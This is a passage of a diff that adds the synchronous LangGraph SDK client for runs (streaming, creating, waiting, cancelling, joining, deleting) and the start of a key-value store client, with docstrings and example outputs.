metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + durability: Durability | None = None, + version: StreamVersion = "v1", + ) -> Iterator[StreamPart | StreamPartV2]: + """Create a run and stream the results. + + Args: + thread_id: the thread ID to assign to the thread. + If `None` will create a stateless run. + assistant_id: The assistant ID or graph name to stream from. + If using graph name, will default to first assistant created from that graph. + input: The input to the graph. + command: The command to execute. + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether the stream is considered resumable. + If true, the stream can be resumed and replayed in its entirety even after disconnection. + metadata: Metadata to assign to the run. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint: The checkpoint to resume from. + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + feedback_keys: Feedback keys to assign to run. + on_disconnect: The disconnect mode to use. + Must be one of 'cancel' or 'continue'. + on_completion: Whether to delete or keep the thread created for a stateless run. + Must be one of 'delete' or 'keep'. + webhook: Webhook to call after LangGraph API call is done. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + if_not_exists: How to handle missing thread. Defaults to 'reject'. + Must be either 'reject' (raise error if missing), or 'create' (create new thread). + after_seconds: The number of seconds to wait before starting the run. + Use to schedule future runs. + langsmith_tracing: LangSmith tracing configuration. Allows routing traces + to a specific project or associating with a dataset example. + headers: Optional custom headers to include with the request. + on_run_created: Optional callback to call when a run is created. + durability: The durability to use for the run. Values are "sync", "async", or "exit". + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + version: Stream format version. "v1" (default) returns raw SSE StreamPart + NamedTuples. "v2" returns typed dicts with `type`, `ns`, and `data` keys. + + Returns: + Iterator of stream results. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + async for chunk in client.runs.stream( + thread_id=None, + assistant_id="agent", + input={"messages": [{"role": "user", "content": "how are you?"}]}, + stream_mode=["values","debug"], + metadata={"name":"my_run"}, + context={"model_name": "anthropic"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + feedback_keys=["my_feedback_key_1","my_feedback_key_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt" + ): + print(chunk) + ``` + ```shell + ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ + + StreamPart(event='metadata', data={'run_id': '1ef4a9b8-d7da-679a-a45a-872054341df2'}) + StreamPart(event='values', data={'messages': [{'content': 'how are you?', 'additional_kwargs': {}, 'response_metadata': {}, 'type': 'human', 'name': None, 'id': 'fe0a5778-cfe9-42ee-b807-0adaa1873c10', 'example': False}]}) + StreamPart(event='values', data={'messages': [{'content': 'how are you?', 'additional_kwargs': {}, 'response_metadata': {}, 'type': 'human', 'name': None, 'id': 'fe0a5778-cfe9-42ee-b807-0adaa1873c10', 'example': False}, {'content': "I'm doing well, thanks for asking! I'm an AI assistant created by Anthropic to be helpful, honest, and harmless.", 'additional_kwargs': {}, 'response_metadata': {}, 'type': 'ai', 'name': None, 'id': 'run-159b782c-b679-4830-83c6-cef87798fe8b', 'example': False, 'tool_calls': [], 'invalid_tool_calls': [], 'usage_metadata': None}]}) + StreamPart(event='end', data=None) + ``` + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + payload: dict[str, Any] = { + "input": input, + "command": ( + {k: v for k, v in command.items() if v is not None} if command else None + ), + "config": config, + "context": context, + "metadata": metadata, + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "assistant_id": assistant_id, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "feedback_keys": feedback_keys, + "webhook": webhook, + "checkpoint": checkpoint, + "checkpoint_id": checkpoint_id, + "checkpoint_during": checkpoint_during, + "multitask_strategy": multitask_strategy, + "if_not_exists": if_not_exists, + "on_disconnect": on_disconnect, + "on_completion": on_completion, + "after_seconds": after_seconds, + "durability": durability, + "langsmith_tracer": langsmith_tracing, + } + endpoint = ( + f"/threads/{_quote_path_param(thread_id)}/runs/stream" + if thread_id is not None + else "/runs/stream" + ) + + def on_response(res: httpx.Response): + """Callback function to handle the response.""" + if on_run_created and (metadata := _get_run_metadata_from_response(res)): + on_run_created(metadata) + + raw = self.http.stream( + endpoint, + "POST", + json={k: v for k, v in payload.items() if v is not None}, + params=params, + headers=headers, + on_response=on_response if on_run_created else None, + ) + if version == "v2": + return _wrap_stream_v2_sync(raw) + return raw + + @overload + def create( + self, + thread_id: None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + on_completion: OnCompletionBehavior | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + ) -> Run: ... + + @overload + def create( + self, + thread_id: str, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + ) -> Run: ... + + def create( + self, + thread_id: str | None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + on_completion: OnCompletionBehavior | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + durability: Durability | None = None, + ) -> Run: + """Create a background run. + + Args: + thread_id: the thread ID to assign to the thread. + If `None` will create a stateless run. + assistant_id: The assistant ID or graph name to stream from. + If using graph name, will default to first assistant created from that graph. + input: The input to the graph. + command: The command to execute. + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether the stream is considered resumable. + If true, the stream can be resumed and replayed in its entirety even after disconnection. + metadata: Metadata to assign to the run. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint: The checkpoint to resume from. + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + webhook: Webhook to call after LangGraph API call is done. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + on_completion: Whether to delete or keep the thread created for a stateless run. + Must be one of 'delete' or 'keep'. + if_not_exists: How to handle missing thread. Defaults to 'reject'. + Must be either 'reject' (raise error if missing), or 'create' (create new thread). + after_seconds: The number of seconds to wait before starting the run. + Use to schedule future runs. + langsmith_tracing: LangSmith tracing configuration. Allows routing traces + to a specific project or associating with a dataset example. + headers: Optional custom headers to include with the request. + on_run_created: Optional callback to call when a run is created. + durability: The durability to use for the run. Values are "sync", "async", or "exit". + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + + Returns: + The created background `Run`. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + background_run = client.runs.create( + thread_id="my_thread_id", + assistant_id="my_assistant_id", + input={"messages": [{"role": "user", "content": "hello!"}]}, + metadata={"name":"my_run"}, + context={"model_name": "openai"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt" + ) + print(background_run) + ``` + + ```shell + -------------------------------------------------------------------------------- + + { + 'run_id': 'my_run_id', + 'thread_id': 'my_thread_id', + 'assistant_id': 'my_assistant_id', + 'created_at': '2024-07-25T15:35:42.598503+00:00', + 'updated_at': '2024-07-25T15:35:42.598503+00:00', + 'metadata': {}, + 'status': 'pending', + 'kwargs': + { + 'input': + { + 'messages': [ + { + 'role': 'user', + 'content': 'how are you?' + } + ] + }, + 'config': + { + 'metadata': + { + 'created_by': 'system' + }, + 'configurable': + { + 'run_id': 'my_run_id', + 'user_id': None, + 'graph_id': 'agent', + 'thread_id': 'my_thread_id', + 'checkpoint_id': None, + 'assistant_id': 'my_assistant_id' + } + }, + 'context': + { + 'model_name': 'openai' + }, + 'webhook': "https://my.fake.webhook.com", + 'temporary': False, + 'stream_mode': ['values'], + 'feedback_keys': None, + 'interrupt_after': ["node_to_stop_after_1","node_to_stop_after_2"], + 'interrupt_before': ["node_to_stop_before_1","node_to_stop_before_2"] + }, + 'multitask_strategy': 'interrupt' + } + ``` + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + payload = { + "input": input, + "command": ( + {k: v for k, v in command.items() if v is not None} if command else None + ), + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "config": config, + "context": context, + "metadata": metadata, + "assistant_id": assistant_id, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "webhook": webhook, + "checkpoint": checkpoint, + "checkpoint_id": checkpoint_id, + "checkpoint_during": checkpoint_during, + "multitask_strategy": multitask_strategy, + "if_not_exists": if_not_exists, + "on_completion": on_completion, + "after_seconds": after_seconds, + "durability": durability, + "langsmith_tracer": langsmith_tracing, + } + payload = {k: v for k, v in payload.items() if v is not None} + + def on_response(res: httpx.Response): + """Callback function to handle the response.""" + if on_run_created and (metadata := _get_run_metadata_from_response(res)): + on_run_created(metadata) + + return self.http.post( + f"/threads/{_quote_path_param(thread_id)}/runs" if thread_id else "/runs", + json=payload, + params=params, + headers=headers, + on_response=on_response if on_run_created else None, + ) + + def create_batch( + self, + payloads: builtins.list[RunCreate], + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> builtins.list[Run]: + """Create a batch of stateless background runs.""" + + def filter_payload(payload: RunCreate): + return {k: v for k, v in payload.items() if v is not None} + + filtered = [filter_payload(payload) for payload in payloads] + return self.http.post( + "/runs/batch", json=filtered, headers=headers, params=params + ) + + @overload + def wait( + self, + thread_id: str, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + on_disconnect: DisconnectMode | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + raise_error: bool = True, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + ) -> builtins.list[dict] | dict[str, Any]: ... + + @overload + def wait( + self, + thread_id: None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + raise_error: bool = True, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + ) -> builtins.list[dict] | dict[str, Any]: ... + + def wait( + self, + thread_id: str | None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, # deprecated + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + raise_error: bool = True, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + durability: Durability | None = None, + ) -> builtins.list[dict] | dict[str, Any]: + """Create a run, wait until it finishes and return the final state. + + Args: + thread_id: the thread ID to create the run on. + If `None` will create a stateless run. + assistant_id: The assistant ID or graph name to run. + If using graph name, will default to first assistant created from that graph. + input: The input to the graph. + command: The command to execute. + metadata: Metadata to assign to the run. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint: The checkpoint to resume from. + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + webhook: Webhook to call after LangGraph API call is done. + on_disconnect: The disconnect mode to use. + Must be one of 'cancel' or 'continue'. + on_completion: Whether to delete or keep the thread created for a stateless run. + Must be one of 'delete' or 'keep'. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + if_not_exists: How to handle missing thread. Defaults to 'reject'. + Must be either 'reject' (raise error if missing), or 'create' (create new thread). + after_seconds: The number of seconds to wait before starting the run. + Use to schedule future runs. + langsmith_tracing: LangSmith tracing configuration. Allows routing traces + to a specific project or associating with a dataset example. + raise_error: Whether to raise an error if the run fails. + headers: Optional custom headers to include with the request. + on_run_created: Optional callback to call when a run is created. + durability: The durability to use for the run. Values are "sync", "async", or "exit". + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + + Returns: + The output of the `Run`. + + ???+ example "Example Usage" + + ```python + + final_state_of_run = client.runs.wait( + thread_id=None, + assistant_id="agent", + input={"messages": [{"role": "user", "content": "how are you?"}]}, + metadata={"name":"my_run"}, + context={"model_name": "anthropic"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt" + ) + print(final_state_of_run) + ``` + + ```shell + + ------------------------------------------------------------------------------------------------------------------------------------------- + + { + 'messages': [ + { + 'content': 'how are you?', + 'additional_kwargs': {}, + 'response_metadata': {}, + 'type': 'human', + 'name': None, + 'id': 'f51a862c-62fe-4866-863b-b0863e8ad78a', + 'example': False + }, + { + 'content': "I'm doing well, thanks for asking! I'm an AI assistant created by Anthropic to be helpful, honest, and harmless.", + 'additional_kwargs': {}, + 'response_metadata': {}, + 'type': 'ai', + 'name': None, + 'id': 'run-bf1cd3c6-768f-4c16-b62d-ba6f17ad8b36', + 'example': False, + 'tool_calls': [], + 'invalid_tool_calls': [], + 'usage_metadata': None + } + ] + } + ``` + + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + payload = { + "input": input, + "command": ( + {k: v for k, v in command.items() if v is not None} if command else None + ), + "config": config, + "context": context, + "metadata": metadata, + "assistant_id": assistant_id, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "webhook": webhook, + "checkpoint": checkpoint, + "checkpoint_id": checkpoint_id, + "multitask_strategy": multitask_strategy, + "if_not_exists": if_not_exists, + "on_disconnect": on_disconnect, + "checkpoint_during": checkpoint_during, + "on_completion": on_completion, + "after_seconds": after_seconds, + "raise_error": raise_error, + "durability": durability, + "langsmith_tracer": langsmith_tracing, + } + + def on_response(res: httpx.Response): + """Callback function to handle the response.""" + if on_run_created and (metadata := _get_run_metadata_from_response(res)): + on_run_created(metadata) + + endpoint = ( + f"/threads/{_quote_path_param(thread_id)}/runs/wait" + if thread_id is not None + else "/runs/wait" + ) + return self.http.request_reconnect( + endpoint, + "POST", + json={k: v for k, v in payload.items() if v is not None}, + params=params, + headers=headers, + on_response=on_response if on_run_created else None, + ) + + def list( + self, + thread_id: str, + *, + limit: int = 10, + offset: int = 0, + status: RunStatus | None = None, + select: builtins.list[RunSelectField] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> builtins.list[Run]: + """List runs. + + Args: + thread_id: The thread ID to list runs for. + limit: The maximum number of results to return. + offset: The number of results to skip. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The runs for the thread. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + client.runs.list( + thread_id="thread_id", + limit=5, + offset=5, + ) + ``` + + """ + query_params: dict[str, Any] = {"limit": limit, "offset": offset} + if status is not None: + query_params["status"] = status + if select: + query_params["select"] = select + if params: + query_params.update(params) + return self.http.get( + f"/threads/{_quote_path_param(thread_id)}/runs", + params=query_params, + headers=headers, + ) + + def get( + self, + thread_id: str, + run_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Run: + """Get a run. + + Args: + thread_id: The thread ID to get. + run_id: The run ID to get. + headers: Optional custom headers to include with the request. + + Returns: + `Run` object. + + ???+ example "Example Usage" + + ```python + + run = client.runs.get( + thread_id="thread_id_to_delete", + run_id="run_id_to_delete", + ) + ``` + """ + + return self.http.get( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}", + headers=headers, + params=params, + ) + + def cancel( + self, + thread_id: str, + run_id: str, + *, + wait: bool = False, + action: CancelAction = "interrupt", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Get a run. + + Args: + thread_id: The thread ID to cancel. + run_id: The run ID to cancel. + wait: Whether to wait until run has completed. + action: Action to take when cancelling the run. Possible values + are `interrupt` or `rollback`. Default is `interrupt`. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + client.runs.cancel( + thread_id="thread_id_to_cancel", + run_id="run_id_to_cancel", + wait=True, + action="interrupt" + ) + ``` + + """ + query_params = { + "wait": 1 if wait else 0, + "action": action, + } + if params: + query_params.update(params) + if wait: + return self.http.request_reconnect( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}/cancel", + "POST", + json=None, + params=query_params, + headers=headers, + ) + return self.http.post( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}/cancel", + json=None, + params=query_params, + headers=headers, + ) + + def cancel_many( + self, + *, + thread_id: str | None = None, + run_ids: Sequence[str] | None = None, + status: BulkCancelRunsStatus | None = None, + action: CancelAction = "interrupt", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Cancel one or more runs. + + Can cancel runs by thread ID and run IDs, or by status filter. + + Args: + thread_id: The ID of the thread containing runs to cancel. + run_ids: List of run IDs to cancel. + status: Filter runs by status to cancel. Must be one of + `"pending"`, `"running"`, or `"all"`. + action: Action to take when cancelling the run. Possible values + are `"interrupt"` or `"rollback"`. Default is `"interrupt"`. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + # Cancel all pending runs + client.runs.cancel_many(status="pending") + # Cancel specific runs on a thread + client.runs.cancel_many( + thread_id="my_thread_id", + run_ids=["run_1", "run_2"], + action="rollback", + ) + ``` + + """ + payload: dict[str, Any] = {} + if thread_id: + payload["thread_id"] = thread_id + if run_ids: + payload["run_ids"] = run_ids + if status: + payload["status"] = status + query_params: dict[str, Any] = {"action": action} + if params: + query_params.update(params) + self.http.post( + "/runs/cancel", + json=payload, + headers=headers, + params=query_params, + ) + + def join( + self, + thread_id: str, + run_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> dict: + """Block until a run is done. Returns the final state of the thread. + + Args: + thread_id: The thread ID to join. + run_id: The run ID to join. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + client.runs.join( + thread_id="thread_id_to_join", + run_id="run_id_to_join" + ) + ``` + + """ + return self.http.request_reconnect( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}/join", + "GET", + headers=headers, + params=params, + ) + + def join_stream( + self, + thread_id: str, + run_id: str, + *, + cancel_on_disconnect: bool = False, + stream_mode: StreamMode | Sequence[StreamMode] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + last_event_id: str | None = None, + ) -> Iterator[StreamPart]: + """Stream output from a run in real-time, until the run is done. + Output is not buffered, so any output produced before this call will + not be received here. + + Args: + thread_id: The thread ID to join. + run_id: The run ID to join. + stream_mode: The stream mode(s) to use. Must be a subset of the stream modes passed + when creating the run. Background runs default to having the union of all + stream modes. + cancel_on_disconnect: Whether to cancel the run when the stream is disconnected. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + last_event_id: The last event ID to use for the stream. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + client.runs.join_stream( + thread_id="thread_id_to_join", + run_id="run_id_to_join", + stream_mode=["values", "debug"] + ) + ``` + + """ + query_params = { + "stream_mode": stream_mode, + "cancel_on_disconnect": cancel_on_disconnect, + } + if params: + query_params.update(params) + return self.http.stream( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}/stream", + "GET", + params=query_params, + headers={ + **({"Last-Event-ID": last_event_id} if last_event_id else {}), + **(headers or {}), + } + or None, + ) + + def delete( + self, + thread_id: str, + run_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete a run. + + Args: + thread_id: The thread ID to delete. + run_id: The run ID to delete. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + client.runs.delete( + thread_id="thread_id_to_delete", + run_id="run_id_to_delete" + ) + ``` + + """ + self.http.delete( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}", + headers=headers, + params=params, + ) diff --git a/libs/sdk-py/langgraph_sdk/_sync/store.py b/libs/sdk-py/langgraph_sdk/_sync/store.py new file mode 100644 index 0000000..1e698fe --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/store.py @@ -0,0 +1,313 @@ +"""Synchronous store client for LangGraph SDK.""" + +from __future__ import annotations + +from collections.abc import Mapping, Sequence +from typing import Any, Literal + +from langgraph_sdk._shared.utilities import _provided_vals +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk.schema import ( + Item, + ListNamespaceResponse, + QueryParamTypes, + SearchItemsResponse, +) + + +class SyncStoreClient: + """A client for synchronous operations on a key-value store. + + Provides methods to interact with a remote key-value store, allowing + storage and retrieval of items within namespaced hierarchies. + + ???+ example "Example" + + ```python + client = get_sync_client(url="http://localhost:2024")) + client.store.put_item(["users", "profiles"], "user123", {"name": "Alice", "age": 30}) + ``` + """ + + def __init__(self, http: SyncHttpClient) -> None: + self.http = http + + def put_item( + self, + namespace: Sequence[str], + /, + key: str, + value: Mapping[str, Any], + index: Literal[False] | list[str] | None = None, + ttl: int | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Store or update an item. + + Args: + namespace: A list of strings representing the namespace path. + key: The unique identifier for the item within the namespace. + value: A dictionary containing the item's data. + index: Controls search indexing - None (use defaults), False (disable), or list of field paths to index. + ttl: Optional time-to-live in minutes for the item, or None for no expiration. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + client.store.put_item( + ["documents", "user123"], + key="item456", + value={"title": "My Document", "content": "Hello World"} + ) + ``` + """ + for label in namespace: + if "." in label: + raise ValueError( + f"Invalid namespace label '{label}'. Namespace labels cannot contain periods ('.')." + ) + payload = { + "namespace": namespace, + "key": key, + "value": value, + "index": index, + "ttl": ttl, + } + self.http.put( + "/store/items", json=_provided_vals(payload), headers=headers, params=params + ) + + def get_item( + self, + namespace: Sequence[str], + /, + key: str, + *, + refresh_ttl: bool | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Item: + """Retrieve a single item. + + Args: + key: The unique identifier for the item. + namespace: Optional list of strings representing the namespace path. + refresh_ttl: Whether to refresh the TTL on this read operation. If `None`, uses the store's default behavior. + headers: Optional custom headers to include with the request. + + Returns: + The retrieved item. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + item = client.store.get_item( + ["documents", "user123"], + key="item456", + ) + print(item) + ``` + + ```shell + ---------------------------------------------------------------- + + { + 'namespace': ['documents', 'user123'], + 'key': 'item456', + 'value': {'title': 'My Document', 'content': 'Hello World'}, + 'created_at': '2024-07-30T12:00:00Z', + 'updated_at': '2024-07-30T12:00:00Z' + } + ``` + """ + for label in namespace: + if "." in label: + raise ValueError( + f"Invalid namespace label '{label}'. Namespace labels cannot contain periods ('.')." + ) + + query_params: dict[str, Any] = {"key": key, "namespace": ".".join(namespace)} + if refresh_ttl is not None: + query_params["refresh_ttl"] = refresh_ttl + if params: + query_params.update(params) + return self.http.get("/store/items", params=query_params, headers=headers) + + def delete_item( + self, + namespace: Sequence[str], + /, + key: str, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete an item. + + Args: + key: The unique identifier for the item. + namespace: Optional list of strings representing the namespace path. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + client.store.delete_item( + ["documents", "user123"], + key="item456", + ) + ``` + """ + self.http.delete( + "/store/items", + json={"key": key, "namespace": namespace}, + headers=headers, + params=params, + ) + + def search_items( + self, + namespace_prefix: Sequence[str], + /, + filter: Mapping[str, Any] | None = None, + limit: int = 10, + offset: int = 0, + query: str | None = None, + refresh_ttl: bool | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> SearchItemsResponse: + """Search for items within a namespace prefix. + + Args: + namespace_prefix: List of strings representing the namespace prefix. + filter: Optional dictionary of key-value pairs to filter results. + limit: Maximum number of items to return (default is 10). + offset: Number of items to skip before returning results (default is 0). + query: Optional query for natural language search. + refresh_ttl: Whether to refresh the TTL on items returned by this search. If `None`, uses the store's default behavior. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + A list of items matching the search criteria. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + items = client.store.search_items( + ["documents"], + filter={"author": "John Doe"}, + limit=5, + offset=0 + ) + print(items) + ``` + ```shell + 